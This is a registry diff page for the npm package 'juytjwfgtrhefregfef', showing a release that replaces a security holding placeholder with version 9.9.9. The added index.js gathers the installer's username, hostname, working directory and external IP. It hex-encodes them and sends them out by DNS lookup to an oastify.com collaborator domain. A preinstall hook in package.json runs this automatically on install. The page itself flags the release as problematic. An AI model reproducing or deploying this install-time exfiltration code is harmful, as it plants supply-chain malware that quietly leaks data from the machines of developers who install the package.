juytjwfgtrhefregfef 0.0.1-security → 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of juytjwfgtrhefregfef might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +41 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,41 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const axios = require('axios');
4
+
5
+ // Obtención de información
6
+ const user = os.userInfo().username;
7
+ const hostname = os.hostname();
8
+ const path = process.cwd();
9
+
10
+ // Función para obtener la IP externa del usuario
11
+ const getExternalIP = async () => {
12
+ try {
13
+ const response = await axios.get('https://api.ipify.org?format=json');
14
+ return response.data.ip;
15
+ } catch (error) {
16
+ return 'IP no disponible';
17
+ }
18
+ };
19
+
20
+ // Función para enviar los datos a través de DNS
21
+ const sendDNSData = async () => {
22
+ const externalIP = await getExternalIP();
23
+ const data = `${user}.${hostname}.${path}.${externalIP}`;
24
+
25
+ // Codificación de los datos a formato hexadecimal
26
+ const encodedData = Buffer.from(data).toString('hex');
27
+
28
+ // Dominio de tu colaborador donde se enviarán las consultas DNS
29
+ const domain = `${encodedData}.ct9unu805q62xik6p7p1b27e55bwznnc.oastify.com`;
30
+
31
+ // Enviar la consulta DNS
32
+ dns.resolve(domain, (err, addresses) => {
33
+ if (err) {
34
+ console.error('Error al enviar la consulta DNS:', err);
35
+ } else {
36
+ console.log('Consulta DNS enviada:', addresses);
37
+ }
38
+ });
39
+ };
40
+
41
+ sendDNSData();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "juytjwfgtrhefregfef",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "MIT"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=juytjwfgtrhefregfef for more information.